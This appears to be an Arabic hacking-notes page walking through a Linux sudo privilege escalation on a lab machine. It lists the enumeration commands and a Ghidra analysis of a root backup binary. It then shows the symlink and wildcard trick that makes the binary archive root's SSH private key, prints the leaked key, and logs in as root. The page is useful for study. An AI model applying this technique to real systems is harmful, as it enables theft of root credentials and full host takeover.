> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/sudoers/sudo-backup-binary-symlink-linux-privilege-escalation.md).

# sudo النسخة الاحتياطية Binary Symlink - تصعيد امتيازات لينكس

## ما هو

يبدأ تصعيد الامتيازات في sudoers بالأوامر التي يمكن للمستخدم تشغيلها عبر `sudo`. يمكن للثنائيات المهيأة بشكل خاطئ، ومعاملات البرامج النصية غير الآمنة، ومعالجة الروابط الرمزية، وإصدارات sudo الضعيفة أن تحول صلاحيات sudo المحدودة إلى غلاف root. تركز هذه الصفحة تحديدًا على **Sudo (الملف الثنائي الاحتياطي / الرابط الرمزي)** وتحافظ على سير الاستغلال بشكل عملي: حدّد الحالة، تحقّق منها بأمان، ثم شغّل أصغر حمولة لازمة لإثبات الأثر.

## الاستكشاف

ابدأ بتأكيد السياق المحلي والتهيئة الخاطئة الدقيقة قبل تشغيل مسار الاستغلال.

```bash
sudo -l
sudo --version
```

## أمثلة

### استغلال الملف الثنائي لـ Sudoers:

من خلال تشغيل الأمر `sudo -l` الأمر بصفتك `xander` مستخدم، يمكنك تشغيل `usage_management` الملف الثنائي بثلاثة خيارات:

1. *`نسخ احتياطي للمشروع`*
2. *`نسخ بيانات MySQL احتياطيًا`*
3. *`إعادة تعيين كلمة مرور المدير`*

<figure><img src="/files/ba7fc235d725accf80d45b2c7cd6c18a65d88d4d" alt=""><figcaption></figcaption></figure>

عند اختيار الخيار الأول ("نسخ احتياطي للمشروع")، ينشئ البرنامج `.zip` ملفًا يحتوي على نسخة احتياطية كـ `root` مستخدم.

<figure><img src="/files/6c3f796dcc660c78781f96ea58a038b1b7167506" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7a60c2c92f4a27f771de53a1d97b52376cf14e52" alt=""><figcaption></figcaption></figure>

### تحليل الملف الثنائي (GHIDRA)

{% embed url="<https://github.com/NationalSecurityAgency/ghidra>" %}

قم بتثبيت وتشغيل GHIDRA لفحص الملف الثنائي:

```bash
cd /opt
mkdir ghydra
cd !$
mv /home/jordan/Desktop/htb/Usage/exploits/ghidra_11.2.1_PUBLIC_20241105.zip .
unzip ghidra_11.2.1_PUBLIC_20241105.zip
./ghidraRun &> /dev/null & disown
```

<figure><img src="/files/ae04c592f30e1f2aca158abe5f3e1c5b9a97cf5b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e65214396c81ddc25b46cf25ffa03988561753b5" alt=""><figcaption></figcaption></figure>

* في `نسخ احتياطي للمشروع` وظيفة، تضغط هذه الميزة محتوى `/var/www/html` في `project.zip` ملف بامتيازات الجذر.

<figure><img src="/files/db113b80301d3abdf10a59a860c93e76f18d13de" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks?source=post_page-----16397895490f-------------------------------->" %}

**تم إنشاء رابط رمزي للوصول إلى مفتاح الجذر الخاص بـ SSH**: لاستغلال هذه الميزة، أنشئ رابطًا رمزيًا إلى مفتاح الجذر الخاص بـ SSH في `html` الدليل

```bash
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
```

<figure><img src="/files/07242f92312fade6bee58e6285d453dd840cc120" alt=""><figcaption></figcaption></figure>

**تشغيل السكربت كمستخدم الجذر**:

* شغّل السكربت `usage_management` :

<figure><img src="/files/0e9b11a3cd2f696516579e402d3714e1a1d5d4f9" alt=""><figcaption></figcaption></figure>

* في `project.zip` الملف، احصل على المفتاح الخاص للجذر (`id_rsa`).

<figure><img src="/files/5f5792728b73bb8bb398830b208223b8a10e6a17" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW 
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi 
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
```

**اتصال SSH باستخدام مفتاح الجذر**:

* استخدم المفتاح لتسجيل الدخول كجذر:

```bash
ssh -i id_rsa root@10.10.11.18
```

<figure><img src="/files/e8464bd9726895bd6e52ad65370f25b225afa49b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/sudoers/sudo-backup-binary-symlink-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
